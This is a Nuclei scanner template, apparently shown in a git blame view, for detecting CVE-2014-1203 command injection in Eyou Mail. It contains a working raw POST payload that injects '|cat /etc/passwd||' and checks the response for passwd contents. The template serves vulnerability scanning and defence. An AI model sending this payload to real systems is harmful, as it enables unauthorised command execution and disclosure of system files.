nuclei-templates/vulnerabilities/eyou/eyou-email-rce.yaml

36 lines
954 B
YAML
Raw Normal View History

2021-04-13 06:40:20 +00:00
id: eyou-email-rce
info:
name: Eyou E-Mail <3.6 - Remote Code Execution
2021-04-13 06:40:20 +00:00
author: pikpikcu
severity: critical
description: Eyou Mail System before 3.6 allows remote attackers to execute arbitrary commands via shell metacharacters in the domain parameter to admin/domain/ip_login_set/d_ip_login_get.php via the get_login_ip_config_file function.
reference:
- https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
- https://nvd.nist.gov/vuln/detail/CVE-2014-1203
classification:
cve-id: CVE-2014-1203
2021-04-13 20:24:06 +00:00
tags: rce,eyou
2021-04-13 06:40:20 +00:00
requests:
- raw:
- |
POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
type='|cat /etc/passwd||'
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
2021-04-13 06:40:20 +00:00
part: body
- type: status
status:
- 200
# Enhanced by mp on 2022/06/01